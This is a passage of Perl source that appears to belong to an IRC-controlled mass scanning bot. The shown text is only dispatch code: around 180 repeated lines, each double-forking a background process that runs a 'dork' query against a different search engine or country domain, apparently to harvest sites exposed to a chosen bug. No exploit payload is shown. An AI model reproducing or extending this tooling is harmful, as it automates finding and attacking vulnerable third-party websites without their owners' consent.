if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BT",$type); } exit; } }
if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IO",$type); } exit; } }
if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BN",$type); } exit; } }
if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BF",$type); } exit; } }
if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KH",$type); } exit; } }
if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CM",$type); } exit; } }
if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CV",$type); } exit; } }
if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KY",$type); } exit; } }
if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CF",$type); } exit; } }
if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CX",$type); } exit; } }
if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CW",$type); } exit; } }
if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CY",$type); } exit; } }
if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FK",$type); } exit; } }
if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FO",$type); } exit; } }
if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GH",$type); } exit; } }
if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GD",$type); } exit; } }
if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GP",$type); } exit; } }
if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GU",$type); } exit; } }
if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GN",$type); } exit; } }
if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GY",$type); } exit; } }
if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HM",$type); } exit; } }
if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IQ",$type); } exit; } }
if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JM",$type); } exit; } }
if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KI",$type); } exit; } }
if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KW",$type); } exit; } }
if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LA",$type); } exit; } }
if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LB",$type); } exit; } }
if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LR",$type); } exit; } }
if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MO",$type); } exit; } }
if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MG",$type); } exit; } }
if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MV",$type); } exit; } }
if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MP",$type); } exit; } }
if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MQ",$type); } exit; } }
if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MR",$type); } exit; } }
if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"YT",$type); } exit; } }
if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MD",$type); } exit; } }
if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MC",$type); } exit; } }
if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ME",$type); } exit; } }
if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MZ",$type); } exit; } }
if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NR",$type); } exit; } }
if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NC",$type); } exit; } }
if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NG",$type); } exit; } }
if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NU",$type); } exit; } }
if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PW",$type); } exit; } }
if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PS",$type); } exit; } }
if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CQ",$type); } exit; } }
if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"RE",$type); } exit; } }
if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LC",$type); } exit; } }
if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PM",$type); } exit; } }
if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ST",$type); } exit; } }
if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"RS",$type); } exit; } }
if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GS",$type); } exit; } }
if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SL",$type); } exit; } }
if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SX",$type); } exit; } }
if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SB",$type); } exit; } }
if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SO",$type); } exit; } }
if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SU",$type); } exit; } }
if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KN",$type); } exit; } }
if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SR",$type); } exit; } }
if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TZ",$type); } exit; } }
if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TL",$type); } exit; } }
if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TG",$type); } exit; } }
if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TK",$type); } exit; } }
if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TN",$type); } exit; } }
if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TC",$type); } exit; } }
if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"VU",$type); } exit; } }
if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"WF",$type); } exit; } }
if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"YE",$type); } exit; } }
if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ZW",$type); } exit; } }
if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLe",$type); } exit; } }
if ($engine =~ /yahoo2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Yahoo2",$type); } exit; } }
if ($engine =~ /kvasir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KvaSiR",$type); } exit; } }
if ($engine =~ /quint/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Quint",$type); } exit; } }
if ($engine =~ /pagina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Pagina",$type); } exit; } }
if ($engine =~ /clix/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Clix",$type); } exit; } }
if ($engine =~ /ask2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ask2",$type); } exit; } }
if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Bing",$type); } exit; } }
if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BigLobe",$type); } exit; } }
if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"WaLLa",$type); } exit; } }
if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"YaHoo",$type); } exit; } }
if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AsK",$type); } exit; } }
if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"OnEt",$type); } exit; } }
if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CLusTy",$type); } exit; } }
if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SaPo",$type); } exit; } }
if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AoL",$type); } exit; } }
if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LyCos",$type); } exit; } }
if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HotBot",$type); } exit; } }
if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SeZNam",$type); } exit; } }
if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UoL",$type); } exit; } }
if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CLusTy",$type); } exit; } }
if ($engine =~ /webcrawler/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"webcrawler",$type); } exit; } }
if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"clusty",$type); } exit; } }
if ($engine =~ /witch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"witch",$type); } exit; } }
if ($engine =~ /amidalla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"amidalla",$type); } exit; } }
if ($engine =~ /gibla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"gibla",$type); } exit; } }
if ($engine =~ /mywebsearch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"mywebsearch",$type); } exit; } }
if ($engine =~ /dogpile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"dogpile",$type); } exit; } }
if ($engine =~ /infocom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"infocom",$type); } exit; } }
if ($engine =~ /searchcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"searchcom",$type); } exit; } }
if ($engine =~ /teoma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"teoma",$type); } exit; } }
if ($engine =~ /volunia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"volunia",$type); } exit; } }
if ($engine =~ /izito/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"izito",$type); } exit; } }
if ($engine =~ /onyet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"onyet",$type); } exit; } }
if ($engine =~ /askom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"askom",$type); } exit; } }
if ($engine =~ /becak/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"becak",$type); } exit; } }
if ($engine =~ /bokep/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"bokep",$type); } exit; } }
if ($engine =~ /searchnz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"searchnz",$type); } exit; } }
if ($engine =~ /shuncengae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengAE",$type); } exit; } }
if ($engine =~ /shuncengar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengAR",$type); } exit; } }
if ($engine =~ /shuncengat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengAT",$type); } exit; } }
if ($engine =~ /shuncengau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengAU",$type); } exit; } }
if ($engine =~ /shuncengbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengBR",$type); } exit; } }
if ($engine =~ /shuncengca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengCA",$type); } exit; } }
if ($engine =~ /shuncengcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengCL",$type); } exit; } }
if ($engine =~ /shuncengcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengCN",$type); } exit; } }
if ($engine =~ /shuncengcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengCOM",$type); } exit; } }
if ($engine =~ /shuncengcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengCZ",$type); } exit; } }
if ($engine =~ /shuncengde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengDE",$type); } exit; } }
if ($engine =~ /shuncengdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengDK",$type); } exit; } }
if ($engine =~ /shuncenges/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengES",$type); } exit; } }
if ($engine =~ /shuncengeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengEU",$type); } exit; } }
if ($engine =~ /shuncengfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengFR",$type); } exit; } }
if ($engine =~ /shuncenghu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengHU",$type); } exit; } }
if ($engine =~ /shuncengid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengID",$type); } exit; } }
if ($engine =~ /shuncengil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengIL",$type); } exit; } }
if ($engine =~ /shuncengin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengIN",$type); } exit; } }
if ($engine =~ /shuncenginfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengINfO",$type); } exit; } }
if ($engine =~ /shuncengir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengIR",$type); } exit; } }
if ($engine =~ /shuncengit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengIT",$type); } exit; } }
if ($engine =~ /shuncengjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengJP",$type); } exit; } }
if ($engine =~ /shuncengkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengKR",$type); } exit; } }
if ($engine =~ /shuncengmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengMX",$type); } exit; } }
if ($engine =~ /shuncengmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengMY",$type); } exit; } }
if ($engine =~ /shuncengnet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengNET",$type); } exit; } }
if ($engine =~ /shuncengnl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengNL",$type); } exit; } }
if ($engine =~ /shuncengorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengORG",$type); } exit; } }
if ($engine =~ /shuncengph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengPH",$type); } exit; } }
if ($engine =~ /shuncengpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengPL",$type); } exit; } }
if ($engine =~ /shuncengro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengRO",$type); } exit; } }
if ($engine =~ /shuncengru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengRU",$type); } exit; } }
if ($engine =~ /shuncength/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengTH",$type); } exit; } }
if ($engine =~ /shuncengua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengUA",$type); } exit; } }
if ($engine =~ /shuncenguk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengUK",$type); } exit; } }
if ($engine =~ /shuncengus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengUS",$type); } exit; } }
if ($engine =~ /shuncengsi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengSI",$type); } exit; } }
if ($engine =~ /shuncengbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengBE",$type); } exit; } }
if ($engine =~ /shuncengbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengBIZ",$type); } exit; } }
if ($engine =~ /domae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domAE",$type); } exit; } }
if ($engine =~ /domar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domAR",$type); } exit; } }
if ($engine =~ /domat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domAT",$type); } exit; } }
if ($engine =~ /domau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domAU",$type); } exit; } }
if ($engine =~ /dombr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domBR",$type); } exit; } }
if ($engine =~ /domca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domCA",$type); } exit; } }
if ($engine =~ /domcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domCL",$type); } exit; } }
if ($engine =~ /domcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domCN",$type); } exit; } }
if ($engine =~ /domcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domCOM",$type); } exit; } }
if ($engine =~ /domcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domCZ",$type); } exit; } }
if ($engine =~ /domde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domDE",$type); } exit; } }
if ($engine =~ /domdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domDK",$type); } exit; } }
if ($engine =~ /domes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domES",$type); } exit; } }
if ($engine =~ /domeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domEU",$type); } exit; } }
if ($engine =~ /domfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domFR",$type); } exit; } }
if ($engine =~ /domhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domHU",$type); } exit; } }
if ($engine =~ /domid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domID",$type); } exit; } }
if ($engine =~ /domil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domIL",$type); } exit; } }
if ($engine =~ /domin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domIN",$type); } exit; } }
if ($engine =~ /dominfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domINfO",$type); } exit; } }
if ($engine =~ /domir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domIR",$type); } exit; } }
if ($engine =~ /domit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domIT",$type); } exit; } }
if ($engine =~ /domjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domJP",$type); } exit; } }
if ($engine =~ /domkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domKR",$type); } exit; } }
